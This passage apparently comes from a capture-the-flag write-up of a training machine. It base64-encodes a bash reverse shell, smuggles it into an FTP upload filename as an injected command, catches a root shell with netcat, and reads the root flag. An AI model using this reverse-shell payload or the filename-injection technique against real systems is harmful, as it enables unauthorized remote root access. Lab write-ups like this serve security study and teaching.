oxdf@parrot$ echo 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYxCg==
I’ll use that to create the filename:
ftp> put test.txt "|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYxCg==|base64 -d|bash; a.csv"
local: test.txt remote: |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYxCg==|base64 -d|bash; a.csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
It also returns a shell:
oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.249] 49602
bash: cannot set terminal process group (2772): Inappropriate ioctl for device
bash: no job control in this shell
root@pikaboo:/srv/ftp/types#
Either way, I can grab root.txt
:
root@pikaboo:~# cat root.txt
3a9a1e35************************